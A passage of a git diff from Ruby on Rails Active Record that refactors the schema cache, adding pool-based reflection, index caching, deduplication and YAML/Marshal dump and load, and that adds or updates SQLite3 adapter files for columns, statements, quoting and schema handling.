+      def initialize(abstract_schema_reflection, pool)
+        @schema_reflection = abstract_schema_reflection
+        @pool = pool
+      end
+
+      def clear!
+        @schema_reflection.clear!
+      end
+
+      def load!
+        @schema_reflection.load!(@pool)
+      end
+
+      def cached?(table_name)
+        @schema_reflection.cached?(table_name)
+      end
+
+      def primary_keys(table_name)
+        @schema_reflection.primary_keys(@pool, table_name)
+      end
+
+      def data_source_exists?(name)
+        @schema_reflection.data_source_exists?(@pool, name)
+      end
+
+      def add(name)
+        @schema_reflection.add(@pool, name)
+      end
+
+      def data_sources(name)
+        @schema_reflection.data_sources(@pool, name)
+      end
+
+      def columns(table_name)
+        @schema_reflection.columns(@pool, table_name)
+      end
+
+      def columns_hash(table_name)
+        @schema_reflection.columns_hash(@pool, table_name)
+      end
+
+      def columns_hash?(table_name)
+        @schema_reflection.columns_hash?(@pool, table_name)
+      end
+
+      def indexes(table_name)
+        @schema_reflection.indexes(@pool, table_name)
+      end
+
+      def version
+        @schema_reflection.version(@pool)
+      end
+
+      def size
+        @schema_reflection.size(@pool)
+      end
+
+      def clear_data_source_cache!(name)
+        @schema_reflection.clear_data_source_cache!(@pool, name)
+      end
+
+      def dump_to(filename)
+        @schema_reflection.dump_to(@pool, filename)
+      end
+    end
+
+    # = Active Record Connection Adapters Schema Cache
     class SchemaCache
-      attr_reader :version
-      attr_accessor :connection
+      def self._load_from(filename) # :nodoc:
+        return unless File.file?(filename)
+
+        read(filename) do |file|
+          if filename.include?(".dump")
+            Marshal.load(file)
+          else
+            if YAML.respond_to?(:unsafe_load)
+              YAML.unsafe_load(file)
+            else
+              YAML.load(file)
+            end
+          end
+        end
+      end
 
-      def initialize(conn)
-        @connection = conn
+      def self.read(filename, &block)
+        if File.extname(filename) == ".gz"
+          Zlib::GzipReader.open(filename) { |gz|
+            yield gz.read
+          }
+        else
+          yield File.read(filename)
+        end
+      end
+      private_class_method :read
 
+      def initialize # :nodoc:
         @columns      = {}
         @columns_hash = {}
         @primary_keys = {}
         @data_sources = {}
+        @indexes      = {}
+        @version = nil
       end
 
-      def initialize_dup(other)
+      def initialize_dup(other) # :nodoc:
         super
         @columns      = @columns.dup
         @columns_hash = @columns_hash.dup
         @primary_keys = @primary_keys.dup
         @data_sources = @data_sources.dup
+        @indexes      = @indexes.dup
+      end
+
+      def encode_with(coder) # :nodoc:
+        coder["columns"]          = @columns.sort.to_h.transform_values { _1.sort_by(&:name) }
+        coder["primary_keys"]     = @primary_keys.sort.to_h
+        coder["data_sources"]     = @data_sources.sort.to_h
+        coder["indexes"]          = @indexes.sort.to_h.transform_values { _1.sort_by(&:name) }
+        coder["version"]          = @version
       end
 
-      def encode_with(coder)
-        coder["columns"] = @columns
-        coder["columns_hash"] = @columns_hash
-        coder["primary_keys"] = @primary_keys
-        coder["data_sources"] = @data_sources
-        coder["version"] = ActiveRecord::Migrator.current_version
+      def init_with(coder) # :nodoc:
+        @columns          = coder["columns"]
+        @columns_hash     = coder["columns_hash"]
+        @primary_keys     = coder["primary_keys"]
+        @data_sources     = coder["data_sources"]
+        @indexes          = coder["indexes"] || {}
+        @version          = coder["version"]
+
+        unless coder["deduplicated"]
+          derive_columns_hash_and_deduplicate_values
+        end
       end
 
-      def init_with(coder)
-        @columns = coder["columns"]
-        @columns_hash = coder["columns_hash"]
-        @primary_keys = coder["primary_keys"]
-        @data_sources = coder["data_sources"]
-        @version = coder["version"]
+      def cached?(table_name)
+        @columns.key?(table_name)
       end
 
-      def primary_keys(table_name)
-        @primary_keys[table_name] ||= data_source_exists?(table_name) ? connection.primary_key(table_name) : nil
+      def primary_keys(pool, table_name)
+        @primary_keys.fetch(table_name) do
+          pool.with_connection do |connection|
+            if data_source_exists?(pool, table_name)
+              @primary_keys[deep_deduplicate(table_name)] = deep_deduplicate(connection.primary_key(table_name))
+            end
+          end
+        end
       end
 
       # A cached lookup for table existence.
-      def data_source_exists?(name)
-        prepare_data_sources if @data_sources.empty?
+      def data_source_exists?(pool, name)
+        return if ignored_table?(name)
+
+        if @data_sources.empty?
+          tables_to_cache(pool).each do |source|
+            @data_sources[source] = true
+          end
+        end
+
         return @data_sources[name] if @data_sources.key? name
 
-        @data_sources[name] = connection.data_source_exists?(name)
+        @data_sources[deep_deduplicate(name)] = pool.with_connection do |connection|
+          connection.data_source_exists?(name)
+        end
       end
 
       # Add internal cache for table with +table_name+.
-      def add(table_name)
-        if data_source_exists?(table_name)
-          primary_keys(table_name)
-          columns(table_name)
-          columns_hash(table_name)
+      def add(pool, table_name)
+        pool.with_connection do
+          if data_source_exists?(pool, table_name)
+            primary_keys(pool, table_name)
+            columns(pool, table_name)
+            columns_hash(pool, table_name)
+            indexes(pool, table_name)
+          end
         end
       end
 
-      def data_sources(name)
-        @data_sources[name]
-      end
-
       # Get the columns for a table
-      def columns(table_name)
-        @columns[table_name] ||= connection.columns(table_name)
+      def columns(pool, table_name)
+        if ignored_table?(table_name)
+          raise ActiveRecord::StatementInvalid.new("Table '#{table_name}' doesn't exist", connection_pool: pool)
+        end
+
+        @columns.fetch(table_name) do
+          pool.with_connection do |connection|
+            @columns[deep_deduplicate(table_name)] = deep_deduplicate(connection.columns(table_name))
+          end
+        end
       end
 
       # Get the columns for a table as a hash, key is the column name
       # value is the column object.
-      def columns_hash(table_name)
-        @columns_hash[table_name] ||= Hash[columns(table_name).map { |col|
-          [col.name, col]
-        }]
+      def columns_hash(pool, table_name)
+        @columns_hash.fetch(table_name) do
+          @columns_hash[deep_deduplicate(table_name)] = columns(pool, table_name).index_by(&:name).freeze
+        end
       end
 
-      # Clears out internal caches
-      def clear!
-        @columns.clear
-        @columns_hash.clear
-        @primary_keys.clear
-        @data_sources.clear
-        @version = nil
+      # Checks whether the columns hash is already cached for a table.
+      def columns_hash?(_pool, table_name)
+        @columns_hash.key?(table_name)
+      end
+
+      def indexes(pool, table_name)
+        @indexes.fetch(table_name) do
+          pool.with_connection do |connection|
+            if data_source_exists?(pool, table_name)
+              @indexes[deep_deduplicate(table_name)] = deep_deduplicate(connection.indexes(table_name))
+            else
+              []
+            end
+          end
+        end
+      end
+
+      def version(pool)
+        @version ||= pool.with_connection(&:schema_version)
+      end
+
+      def schema_version
+        @version
       end
 
       def size
-        [@columns, @columns_hash, @primary_keys, @data_sources].map(&:size).inject :+
+        [@columns, @columns_hash, @primary_keys, @data_sources].sum(&:size)
       end
 
       # Clear out internal caches for the data source +name+.
-      def clear_data_source_cache!(name)
+      def clear_data_source_cache!(_connection, name)
         @columns.delete name
         @columns_hash.delete name
         @primary_keys.delete name
         @data_sources.delete name
+        @indexes.delete name
+      end
+
+      def add_all(pool) # :nodoc:
+        pool.with_connection do
+          tables_to_cache(pool).each do |table|
+            add(pool, table)
+          end
+
+          version(pool)
+        end
       end
 
-      def marshal_dump
-        # if we get current version during initialization, it happens stack over flow.
-        @version = ActiveRecord::Migrator.current_version
-        [@version, @columns, @columns_hash, @primary_keys, @data_sources]
+      def dump_to(filename)
+        open(filename) { |f|
+          if filename.include?(".dump")
+            f.write(Marshal.dump(self))
+          else
+            f.write(YAML.dump(self))
+          end
+        }
       end
 
-      def marshal_load(array)
-        @version, @columns, @columns_hash, @primary_keys, @data_sources = array
+      def marshal_dump # :nodoc:
+        [@version, @columns, {}, @primary_keys, @data_sources, @indexes]
+      end
+
+      def marshal_load(array) # :nodoc:
+        @version, @columns, _columns_hash, @primary_keys, @data_sources, @indexes, _database_version = array
+        @indexes ||= {}
+
+        derive_columns_hash_and_deduplicate_values
       end
 
       private
+        def tables_to_cache(pool)
+          pool.with_connection do |connection|
+            connection.data_sources.reject do |table|
+              ignored_table?(table)
+            end
+          end
+        end
+
+        def ignored_table?(table_name)
+          ActiveRecord.schema_cache_ignored_table?(table_name)
+        end
+
+        def derive_columns_hash_and_deduplicate_values
+          @columns      = deep_deduplicate(@columns)
+          @columns_hash = @columns.transform_values { |columns| columns.index_by(&:name) }
+          @primary_keys = deep_deduplicate(@primary_keys)
+          @data_sources = deep_deduplicate(@data_sources)
+          @indexes      = deep_deduplicate(@indexes)
+        end
+
+        def deep_deduplicate(value)
+          case value
+          when Hash
+            value.transform_keys { |k| deep_deduplicate(k) }.transform_values { |v| deep_deduplicate(v) }
+          when Array
+            value.map { |i| deep_deduplicate(i) }
+          when String, Deduplicable
+            -value
+          else
+            value
+          end
+        end
+
+        def open(filename)
+          FileUtils.mkdir_p(File.dirname(filename))
 
-        def prepare_data_sources
-          connection.data_sources.each { |source| @data_sources[source] = true }
+          File.atomic_write(filename) do |file|
+            if File.extname(filename) == ".gz"
+              zipper = Zlib::GzipWriter.new file
+              zipper.mtime = 0
+              yield zipper
+              zipper.flush
+              zipper.close
+            else
+              yield file
+            end
+          end
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
index 9e12ae0de8ef7..63f07b915d1ef 100644
--- a/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
+++ b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # :stopdoc:
   module ConnectionAdapters
     class SqlTypeMetadata
+      include Deduplicable
+
       attr_reader :sql_type, :type, :limit, :precision, :scale
 
       def initialize(sql_type: nil, type: nil, limit: nil, precision: nil, scale: nil)
@@ -14,18 +18,27 @@ def initialize(sql_type: nil, type: nil, limit: nil, precision: nil, scale: nil)
 
       def ==(other)
         other.is_a?(SqlTypeMetadata) &&
-          attributes_for_hash == other.attributes_for_hash
+          sql_type == other.sql_type &&
+          type == other.type &&
+          limit == other.limit &&
+          precision == other.precision &&
+          scale == other.scale
       end
       alias eql? ==
 
       def hash
-        attributes_for_hash.hash
+        SqlTypeMetadata.hash ^
+          sql_type.hash ^
+          type.hash ^
+          limit.hash ^
+          precision.hash >> 1 ^
+          scale.hash >> 2
       end
 
-      protected
-
-        def attributes_for_hash
-          [self.class, sql_type, type, limit, precision, scale]
+      private
+        def deduplicated
+          @sql_type = -sql_type
+          super
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/column.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/column.rb
new file mode 100644
index 0000000000000..2f1153df2ee2d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/column.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      class Column < ConnectionAdapters::Column # :nodoc:
+        attr_reader :rowid
+
+        def initialize(*, auto_increment: nil, rowid: false, generated_type: nil, **)
+          super
+          @auto_increment = auto_increment
+          @rowid = rowid
+          @generated_type = generated_type
+        end
+
+        def auto_increment?
+          @auto_increment
+        end
+
+        def auto_incremented_by_db?
+          auto_increment? || rowid
+        end
+
+        def virtual?
+          !@generated_type.nil?
+        end
+
+        def virtual_stored?
+          virtual? && @generated_type == :stored
+        end
+
+        def has_default?
+          super && !virtual?
+        end
+
+        def init_with(coder)
+          @auto_increment = coder["auto_increment"]
+          super
+        end
+
+        def encode_with(coder)
+          coder["auto_increment"] = @auto_increment
+          super
+        end
+
+        def ==(other)
+          other.is_a?(Column) &&
+            super &&
+            auto_increment? == other.auto_increment?
+        end
+        alias :eql? :==
+
+        def hash
+          Column.hash ^
+            super.hash ^
+            auto_increment?.hash ^
+            rowid.hash
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb
new file mode 100644
index 0000000000000..09774e6194c02
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb
@@ -0,0 +1,173 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module DatabaseStatements
+        READ_QUERY = ActiveRecord::ConnectionAdapters::AbstractAdapter.build_read_query_regexp(
+          :pragma
+        ) # :nodoc:
+        private_constant :READ_QUERY
+
+        def write_query?(sql) # :nodoc:
+          !READ_QUERY.match?(sql)
+        rescue ArgumentError # Invalid encoding
+          !READ_QUERY.match?(sql.b)
+        end
+
+        def explain(arel, binds = [], _options = [])
+          sql    = "EXPLAIN QUERY PLAN " + to_sql(arel, binds)
+          result = query_rows(sql, "EXPLAIN")
+          SQLite3::ExplainPrettyPrinter.new.pp(result)
+        end
+
+        def begin_deferred_transaction(isolation = nil) # :nodoc:
+          internal_begin_transaction(:deferred, isolation)
+        end
+
+        def begin_isolated_db_transaction(isolation) # :nodoc:
+          internal_begin_transaction(:deferred, isolation)
+        end
+
+        def begin_db_transaction # :nodoc:
+          internal_begin_transaction(:immediate, nil)
+        end
+
+        def commit_db_transaction # :nodoc:
+          query_command("COMMIT TRANSACTION", "TRANSACTION", allow_retry: true, materialize_transactions: false)
+        end
+
+        def exec_rollback_db_transaction # :nodoc:
+          query_command("ROLLBACK TRANSACTION", "TRANSACTION", allow_retry: true, materialize_transactions: false)
+        end
+
+        # https://stackoverflow.com/questions/17574784
+        # https://www.sqlite.org/lang_datefunc.html
+        HIGH_PRECISION_CURRENT_TIMESTAMP = Arel.sql("STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')", retryable: true).freeze # :nodoc:
+        private_constant :HIGH_PRECISION_CURRENT_TIMESTAMP
+
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
+        end
+
+        def execute(...) # :nodoc:
+          # SQLite3Adapter was refactored to use ActiveRecord::Result internally
+          # but for backward compatibility we have to keep returning arrays of hashes here
+          super&.to_a
+        end
+
+        def reset_isolation_level # :nodoc:
+          query_command("PRAGMA read_uncommitted=#{@previous_read_uncommitted}", "TRANSACTION", allow_retry: true, materialize_transactions: false)
+          @previous_read_uncommitted = nil
+        end
+
+        def default_insert_value(column) # :nodoc:
+          if column.default_function
+            Arel.sql(column.default_function)
+          else
+            column.default
+          end
+        end
+
+        def execute_batch(statements, name = nil, **kwargs) # :nodoc:
+          sql = combine_multi_statements(statements)
+          intent = QueryIntent.new(
+            adapter: self,
+            processed_sql: sql,
+            name: name,
+            batch: true,
+            binds: kwargs[:binds] || [],
+            prepare: kwargs[:prepare] || false,
+            allow_async: kwargs[:async] || false,
+            allow_retry: kwargs[:allow_retry] || false,
+            materialize_transactions: kwargs[:materialize_transactions] != false
+          )
+          intent.execute!
+          intent.finish
+        end
+
+        private
+          def internal_begin_transaction(mode, isolation)
+            if isolation
+              raise TransactionIsolationError, "SQLite3 only supports the `read_uncommitted` transaction isolation level" if isolation != :read_uncommitted
+              raise StandardError, "You need to enable the shared-cache mode in SQLite mode before attempting to change the transaction isolation level" unless shared_cache?
+            end
+
+            query_command("BEGIN #{mode} TRANSACTION", "TRANSACTION", allow_retry: true, materialize_transactions: false)
+            if isolation
+              @previous_read_uncommitted = query_value("PRAGMA read_uncommitted", "TRANSACTION")
+              query_command("PRAGMA read_uncommitted=ON", "TRANSACTION", allow_retry: true, materialize_transactions: false)
+            end
+          end
+
+          def perform_query(raw_connection, intent)
+            total_changes_before_query = raw_connection.total_changes
+            affected_rows = nil
+
+            if intent.batch
+              raw_connection.execute_batch2(intent.processed_sql)
+            else
+              stmt = if intent.prepare
+                @statements[intent.processed_sql] ||= raw_connection.prepare(intent.processed_sql)
+                @statements[intent.processed_sql].reset!
+              else
+                # Don't cache statements if they are not prepared.
+                raw_connection.prepare(intent.processed_sql)
+              end
+              begin
+                if intent.has_binds?
+                  stmt.bind_params(intent.type_casted_binds)
+                end
+                result = if stmt.column_count.zero? # No return
+                  stmt.step
+
+                  affected_rows = if raw_connection.total_changes > total_changes_before_query
+                    raw_connection.changes
+                  else
+                    0
+                  end
+
+                  ActiveRecord::Result.empty(affected_rows: affected_rows)
+                else
+                  rows = stmt.to_a
+
+                  affected_rows = if raw_connection.total_changes > total_changes_before_query
+                    raw_connection.changes
+                  else
+                    0
+                  end
+
+                  ActiveRecord::Result.new(stmt.columns, rows, stmt.types.map { |t| type_map.lookup(t) }, affected_rows: affected_rows)
+                end
+              ensure
+                stmt.close unless intent.prepare
+              end
+            end
+            verified!
+
+            intent.notification_payload[:affected_rows] = affected_rows
+            intent.notification_payload[:row_count] = result&.length || 0
+            result
+          end
+
+          def cast_result(result)
+            # Given that SQLite3 doesn't have a Result type, raw_execute already returns an ActiveRecord::Result
+            # so we have nothing to cast here.
+            result
+          end
+
+          def affected_rows(result)
+            result&.affected_rows
+          end
+
+          def build_truncate_statement(table_name)
+            "DELETE FROM #{quote_table_name(table_name)}"
+          end
+
+          def returning_column_values(result)
+            result.rows.first
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb
index 6fe3e1211ed03..d64b57b129b07 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module SQLite3
@@ -9,7 +11,7 @@ class ExplainPrettyPrinter # :nodoc:
         #   0|1|1|SCAN TABLE posts (~100000 rows)
         #
         def pp(result)
-          result.rows.map do |row|
+          result.map do |row|
             row.join("|")
           end.join("\n") + "\n"
         end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb
index 7276a65098c54..d9a681ad94329 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb
@@ -1,43 +1,120 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module SQLite3
       module Quoting # :nodoc:
+        extend ActiveSupport::Concern
+
+        QUOTED_COLUMN_NAMES = Concurrent::Map.new # :nodoc:
+        QUOTED_TABLE_NAMES = Concurrent::Map.new # :nodoc:
+
+        module ClassMethods # :nodoc:
+          def column_name_matcher
+            /
+              \A
+              (
+                (?:
+                  # "table_name"."column_name" | function(one or no argument)
+                  ((?:\w+\.|"\w+"\.)?(?:\w+|"\w+") | \w+\((?:|\g<2>)\))
+                )
+                (?:(?:\s+AS)?\s+(?:\w+|"\w+"))?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          def column_name_with_order_matcher
+            /
+              \A
+              (
+                (?:
+                  # "table_name"."column_name" | function(one or no argument)
+                  ((?:\w+\.|"\w+"\.)?(?:\w+|"\w+") | \w+\((?:|\g<2>)\))
+                )
+                (?:\s+COLLATE\s+(?:\w+|"\w+"))?
+                (?:\s+ASC|\s+DESC)?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          def quote_column_name(name)
+            QUOTED_COLUMN_NAMES[name] ||= %Q("#{name.to_s.gsub('"', '""')}").freeze
+          end
+
+          def quote_table_name(name)
+            QUOTED_TABLE_NAMES[name] ||= %Q("#{name.to_s.gsub('"', '""').gsub(".", "\".\"")}").freeze
+          end
+        end
+
+        def quote(value) # :nodoc:
+          case value
+          when Numeric
+            if value.finite?
+              super
+            else
+              "'#{value}'"
+            end
+          else
+            super
+          end
+        end
+
         def quote_string(s)
-          @connection.class.quote(s)
+          ::SQLite3::Database.quote(s)
         end
 
         def quote_table_name_for_assignment(table, attr)
           quote_column_name(attr)
         end
 
-        def quote_column_name(name)
-          @quoted_column_names[name] ||= %Q("#{super.gsub('"', '""')}").freeze
-        end
-
         def quoted_time(value)
-          quoted_date(value)
+          value = value.change(year: 2000, month: 1, day: 1)
+          quoted_date(value).sub(/\A\d\d\d\d-\d\d-\d\d /, "2000-01-01 ")
         end
 
         def quoted_binary(value)
           "x'#{value.hex}'"
         end
 
-        private
+        def unquoted_true
+          1
+        end
+
+        def unquoted_false
+          0
+        end
 
-          def _type_cast(value)
-            case value
-            when BigDecimal
-              value.to_f
-            when String
-              if value.encoding == Encoding::ASCII_8BIT
-                super(value.encode(Encoding::UTF_8))
-              else
-                super
-              end
+        def quote_default_expression(value, column) # :nodoc:
+          if value.is_a?(Proc)
+            value = value.call
+            if value.match?(/\A\w+\(.*\)\z/)
+              "(#{value})"
+            else
+              value
+            end
+          else
+            super
+          end
+        end
+
+        def type_cast(value) # :nodoc:
+          case value
+          when BigDecimal, Rational
+            value.to_f
+          when String
+            if value.encoding == Encoding::ASCII_8BIT
+              super(value.encode(Encoding::UTF_8))
             else
               super
             end
+          else
+            super
           end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb
index bc798d1dbb683..0e7bf37bf77fc 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb
@@ -1,12 +1,34 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module SQLite3
-      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
+      class SchemaCreation < SchemaCreation # :nodoc:
         private
+          def visit_ForeignKeyDefinition(o)
+            super.dup.tap do |sql|
+              sql << " DEFERRABLE INITIALLY #{o.deferrable.to_s.upcase}" if o.deferrable
+            end
+          end
+
+          def supports_index_using?
+            false
+          end
+
           def add_column_options!(sql, options)
             if options[:collation]
               sql << " COLLATE \"#{options[:collation]}\""
             end
+
+            if as = options[:as]
+              sql << " GENERATED ALWAYS AS (#{as})"
+
+              if options[:stored]
+                sql << " STORED"
+              else
+                sql << " VIRTUAL"
+              end
+            end
             super
           end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb
index e157e4b218aa8..0323b93813f13 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb
@@ -1,27 +1,45 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module SQLite3
-      module ColumnMethods
-        def primary_key(name, type = :primary_key, **options)
-          if %i(integer bigint).include?(type) && (options.delete(:auto_increment) == true || !options.key?(:default))
-            type = :primary_key
+      # = Active Record SQLite3 Adapter \Table Definition
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        def change_column(column_name, type, **options)
+          name = column_name.to_s
+
+          existing_column = @columns_hash[name]
+          if existing_column
+            existing_options = existing_column.options.except(:precision)
+            options = existing_options.merge(options)
           end
 
-          super
+          @columns_hash[name] = nil
+          column(name, type, **options)
         end
-      end
-
-      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
-        include ColumnMethods
 
         def references(*args, **options)
           super(*args, type: :integer, **options)
         end
         alias :belongs_to :references
-      end
 
-      class Table < ActiveRecord::ConnectionAdapters::Table
-        include ColumnMethods
+        def new_column_definition(name, type, **options) # :nodoc:
+          case type
+          when :virtual
+            type = options[:type]
+          end
+
+          super
+        end
+
+        private
+          def integer_like_primary_key_type(type, options)
+            :primary_key
+          end
+
+          def valid_column_definition_options
+            super + [:as, :type, :stored]
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb
index eec018eda3cb8..f7dd1198512bd 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb
@@ -1,8 +1,22 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module SQLite3
-      module ColumnDumper # :nodoc:
+      class SchemaDumper < ConnectionAdapters::SchemaDumper # :nodoc:
         private
+          def virtual_tables(stream)
+            virtual_tables = @connection.virtual_tables
+            if virtual_tables.any?
+              stream.puts
+              stream.puts "  # Virtual tables defined in this database."
+              stream.puts "  # Note that virtual tables may not work with other database engines. Be careful if changing database."
+              virtual_tables.sort.each do |table_name, options|
+                module_name, arguments = options
+                stream.puts "  create_virtual_table #{table_name.inspect}, #{module_name.inspect}, #{arguments.split(", ").inspect}"
+              end
+            end
+          end
 
           def default_primary_key?(column)
             schema_type(column) == :integer
@@ -11,6 +25,22 @@ def default_primary_key?(column)
           def explicit_primary_key_default?(column)
             column.bigint?
           end
+
+          def prepare_column_options(column)
+            spec = super
+
+            if @connection.supports_virtual_columns? && column.virtual?
+              spec[:as] = extract_expression_for_virtual_column(column)
+              spec[:stored] = column.virtual_stored?
+              spec = { type: schema_type(column).inspect }.merge!(spec)
+            end
+
+            spec
+          end
+
+          def extract_expression_for_virtual_column(column)
+            column.default_function.inspect
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb
new file mode 100644
index 0000000000000..99a70cda4d230
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb
@@ -0,0 +1,214 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module SchemaStatements # :nodoc:
+        # Returns an array of indexes for the given table.
+        def indexes(table_name)
+          query_all("PRAGMA index_list(#{quote_table_name(table_name)})").filter_map do |row|
+            # Indexes SQLite creates implicitly for internal use start with "sqlite_".
+            # See https://www.sqlite.org/fileformat2.html#intschema
+            next if row["name"].start_with?("sqlite_")
+
+            index_sql = query_value(<<~SQL)
+              SELECT sql
+              FROM sqlite_master
+              WHERE name = #{quote(row['name'])} AND type = 'index'
+              UNION ALL
+              SELECT sql
+              FROM sqlite_temp_master
+              WHERE name = #{quote(row['name'])} AND type = 'index'
+            SQL
+
+            /\bON\b\s*"?(\w+?)"?\s*\((?<expressions>.+?)\)(?:\s*WHERE\b\s*(?<where>.+))?(?:\s*\/\*.*\*\/)?\z/i =~ index_sql
+
+            columns = query_all("PRAGMA index_info(#{quote(row['name'])})").map do |col|
+              col["name"]
+            end
+
+            where = where.sub(/\s*\/\*.*\*\/\z/, "") if where
+            orders = {}
+
+            if columns.any?(&:nil?) # index created with an expression
+              columns = expressions
+            else
+              # Add info on sort order for columns (only desc order is explicitly specified,
+              # asc is the default)
+              if index_sql # index_sql can be null in case of primary key indexes
+                index_sql.scan(/"(\w+)" DESC/).flatten.each { |order_column|
+                  orders[order_column] = :desc
+                }
+              end
+            end
+
+            IndexDefinition.new(
+              table_name,
+              row["name"],
+              row["unique"] != 0,
+              columns,
+              where: where,
+              orders: orders
+            )
+          end
+        end
+
+        def add_foreign_key(from_table, to_table, **options)
+          assert_valid_deferrable(options[:deferrable])
+
+          alter_table(from_table) do |definition|
+            to_table = strip_table_name_prefix_and_suffix(to_table)
+            definition.foreign_key(to_table, **options)
+          end
+        end
+
+        def remove_foreign_key(from_table, to_table = nil, **options)
+          return if options.delete(:if_exists) && !foreign_key_exists?(from_table, to_table, **options.slice(:column))
+
+          to_table ||= options[:to_table]
+          options = options.except(:name, :to_table, :validate)
+          fkey = foreign_key_for!(from_table, to_table: to_table, **options)
+
+          foreign_keys = foreign_keys(from_table)
+          foreign_keys.delete(fkey)
+          alter_table(from_table, foreign_keys)
+        end
+
+        def virtual_table_exists?(table_name)
+          query_values(data_source_sql(table_name, type: "VIRTUAL TABLE")).any?
+        end
+
+        def check_constraints(table_name)
+          table_sql = query_value(<<-SQL)
+            SELECT sql
+            FROM sqlite_master
+            WHERE name = #{quote(table_name)} AND type = 'table'
+            UNION ALL
+            SELECT sql
+            FROM sqlite_temp_master
+            WHERE name = #{quote(table_name)} AND type = 'table'
+          SQL
+
+          table_sql.to_s.scan(/CONSTRAINT\s+(?<name>\w+)\s+CHECK\s+\((?<expression>(:?[^()]|\(\g<expression>\))+)\)/i).map do |name, expression|
+            CheckConstraintDefinition.new(table_name, expression, name: name)
+          end
+        end
+
+        def add_check_constraint(table_name, expression, **options)
+          alter_table(table_name) do |definition|
+            definition.check_constraint(expression, **options)
+          end
+        end
+
+        def remove_check_constraint(table_name, expression = nil, if_exists: false, **options)
+          return if if_exists && !check_constraint_exists?(table_name, **options)
+
+          check_constraints = check_constraints(table_name)
+          chk_name_to_delete = check_constraint_for!(table_name, expression: expression, **options).name
+          check_constraints.delete_if { |chk| chk.name == chk_name_to_delete }
+          alter_table(table_name, foreign_keys(table_name), check_constraints)
+        end
+
+        def create_schema_dumper(options)
+          SQLite3::SchemaDumper.create(self, options)
+        end
+
+        def schema_creation # :nodoc
+          SQLite3::SchemaCreation.new(self)
+        end
+
+        private
+          def valid_table_definition_options
+            super + [:rename]
+          end
+
+          def create_table_definition(name, **options)
+            SQLite3::TableDefinition.new(self, name, **options)
+          end
+
+          def validate_index_length!(table_name, new_name, internal = false)
+            super unless internal
+          end
+
+          def new_column_from_field(table_name, field, definitions)
+            default = field["dflt_value"]
+
+            type_metadata = fetch_type_metadata(field["type"])
+            default_value = extract_value_from_default(default)
+            generated_type = extract_generated_type(field)
+
+            if generated_type.present?
+              default_function = default
+            else
+              default_function = extract_default_function(default_value, default)
+            end
+
+            rowid = is_column_the_rowid?(field, definitions)
+
+            Column.new(
+              field["name"],
+              lookup_cast_type(field["type"]),
+              default_value,
+              type_metadata,
+              field["notnull"].to_i == 0,
+              default_function,
+              collation: field["collation"],
+              auto_increment: field["auto_increment"],
+              rowid: rowid,
+              generated_type: generated_type
+            )
+          end
+
+          INTEGER_REGEX = /integer/i
+          # if a rowid table has a primary key that consists of a single column
